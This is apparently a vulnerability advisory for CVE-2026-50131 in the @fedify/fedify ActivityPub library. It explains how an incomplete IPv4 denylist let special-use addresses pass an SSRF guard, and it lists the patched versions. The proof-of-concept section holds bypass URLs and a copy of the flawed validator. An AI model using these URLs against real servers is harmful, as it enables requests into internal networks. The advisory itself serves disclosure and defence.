CVE-2026-50131: @fedify/fedify SSRF Mitigation Bypass via Incomplete IPv4 Validation
Fedify's SSRF protection could be bypassed by pointing ActivityPub object or media URLs at special-use IPv4 ranges such as carrier-grade NAT or multicast, which the validator incorrectly treated as pu
The problem
Fedify added `validatePublicUrl()` after GHSA-p9cg-vqcc-grcx to block outbound fetches to private IP addresses. That check delegates to `isValidPublicIPv4Address()` in `packages/vocab-runtime/src/url.ts`.
The function used a short manual denylist covering only `10.0.0.0/8`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, and `192.168.0.0/16`. It returned `true` for every other address, meaning ranges like `100.64.0.0/10` (carrier-grade NAT), `198.18.0.0/15` (benchmarking), `224.0.0.0/4` (multicast), `240.0.0.0/4` (reserved), and several documentation ranges all passed the guard.
Any Fedify feature that fetches remote ActivityPub objects, activities, documents, or media URLs goes through this gate. An attacker who controls an ActivityPub payload can supply a URL pointing at one of these unblocked ranges and cause the Fedify server to make an outbound request to a non-public destination.
Proof of concept
A working proof-of-concept for CVE-2026-50131 in @fedify/fedify, with the exact payload below.
// Craft a malicious ActivityPub object whose @id or media URL
// points at a special-use range that bypasses isValidPublicIPv4Address().
// All of the following pass the pre-patch validator as "public":
// Carrier-grade NAT (RFC 6598) - 100.64.0.0/10
const bypassCGNAT = "http://100.64.0.1/internal";
// Benchmarking network (RFC 2544) - 198.18.0.0/15
const bypassBench = "http://198.18.0.1/internal";
// Multicast - 224.0.0.0/4
const bypassMulticast = "http://224.0.0.1/internal";
// Reserved - 240.0.0.0/4
const bypassReserved = "http://240.0.0.1/internal";
// IETF protocol assignments - 192.0.0.0/24
const bypassIETF = "http://192.0.0.1/internal";
// Attacker delivers a Follow/Note whose `id` or `url` is one of these.
// Fedify calls validatePublicUrl(), which calls isValidPublicIPv4Address(),
// which returns true for all of the above, so the fetch proceeds.
// Verification with pre-patch logic (matches advisory PoC):
function isValidPublicIPv4AddressVuln(address) {
const parts = address.split(".");
const first = parseInt(parts[0]);
if (first === 0 || first === 10 || first === 127) return false;
const second = parseInt(parts[1]);
if (first === 169 && second === 254) return false;
if (first === 172 && second >= 16 && second <= 31) return false;
if (first === 192 && second === 168) return false;
return true;
}
console.log(isValidPublicIPv4AddressVuln("100.64.0.1")); // true (bypass)
console.log(isValidPublicIPv4AddressVuln("198.18.0.1")); // true (bypass)
console.log(isValidPublicIPv4AddressVuln("224.0.0.1")); // true (bypass)
console.log(isValidPublicIPv4AddressVuln("240.0.0.1")); // true (bypass)
console.log(isValidPublicIPv4AddressVuln("192.0.0.1")); // true (bypass)The root cause is CWE-1284 (Improper Validation of Syntactic Correctness of Input) compounded by CWE-918 (SSRF): the allowlist inversion approach used a hardcoded, incomplete denylist rather than asserting positive global-routability.
The pre-patch `parseInt()` calls also lacked a radix argument, which introduces CWE-369 / CWE-704 risk for octal-looking octets (e.g. `010` parsed as 10 decimal in ES5-strict, but left as an implicit parse in older runtimes). The patch adds `parseInt(part, 10)` with explicit radix, a four-part length check, and NaN/range guards, then explicitly rejects all fourteen special-use CIDR blocks recommended in the advisory.
The fix also blocks IPv6 translation and tunneling prefixes (NAT64, Teredo, 6to4) that were similarly absent from the prior IPv6 validation path.
The fix
Upgrade `@fedify/fedify` to 1.9.12, 1.10.11, 2.0.20, 2.1.16, or 2.2.5. If your project depends directly on `@fedify/vocab-runtime`, upgrade that package too, then redeploy. The patched `isValidPublicIPv4Address()` rejects all fourteen special-use CIDR ranges listed in RFC 5735/6598 and uses an explicit radix-10 parse with length and NaN validation.
Reported by Chaitanya Vilas Garware.
Related research
- critical · 9.6CVE-2026-53513CVE-2026-53513: @better-auth/sso SSRF via Unvalidated OIDC Endpoints
- high · 7.4CVE-2026-49857CVE-2026-49857: auth-fetch-mcp SSRF Protection Bypass via IPv4-mapped IPv6 Loopback
- high · 8.5CVE-2026-54353CVE-2026-54353: @budibase/backend-core SSRF DNS Rebinding Bypass
- critical · 9.6TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import